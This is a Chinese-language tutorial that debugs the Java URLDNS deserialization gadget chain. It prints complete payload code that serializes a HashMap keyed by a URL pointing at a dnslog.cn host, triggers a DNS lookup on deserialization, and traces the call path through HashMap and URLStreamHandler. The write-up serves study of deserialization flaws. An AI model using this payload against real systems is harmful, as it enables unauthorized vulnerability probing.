URLDNS链调试

首先看一下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static Object urldns() throws Exception{
//漏洞出发点 hashmap,实例化出来
HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslog
URL url = new URL("http://l7l3q6.dnslog.cn"); //反射获取 URL的hashcode方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
f.setAccessible(true);
// hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆
f.set(url, 0xAAA);
hashMap.put(url, "Yasax1");
// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
f.set(url, -1);
// 序列化成对象,输出出来
return hashMap;
}
public static void main(String[] args) throws Exception {
payload2File(urldns(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}

HashMap的readObject()方法

在HashMap的reaadObject()方法中最后调用的putVal方法中调用了hash方法

在hash方法里面可以调用hashCode方法,同时在java.net,URL里面的hashCode方法

可以看到,当hashCode不等于-1的时候,会从handler调用hashCode

这里的handler是一个URLStreamHandler 对象

transient:将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化

我们在跟进URLStreamHandler

跟进getHostAddress方法

这里有一个InetAddress.getByName(host),获取目标ip地址,其实在网络中就是一次DNS请求

用到的主要就是多态

所以我们只需要new一个hashmap,然后让它的key等于一个java.net.URL对象,然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的DNS请求,到此我们的链子就构造完成了

不过ysoserial跟我们的exp有一些不同,那是因为ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,重写了一个SilentURLStreamHandler类,这和我们的exp中的 f.set(url, 0xAAA);是一样的效果

测得结果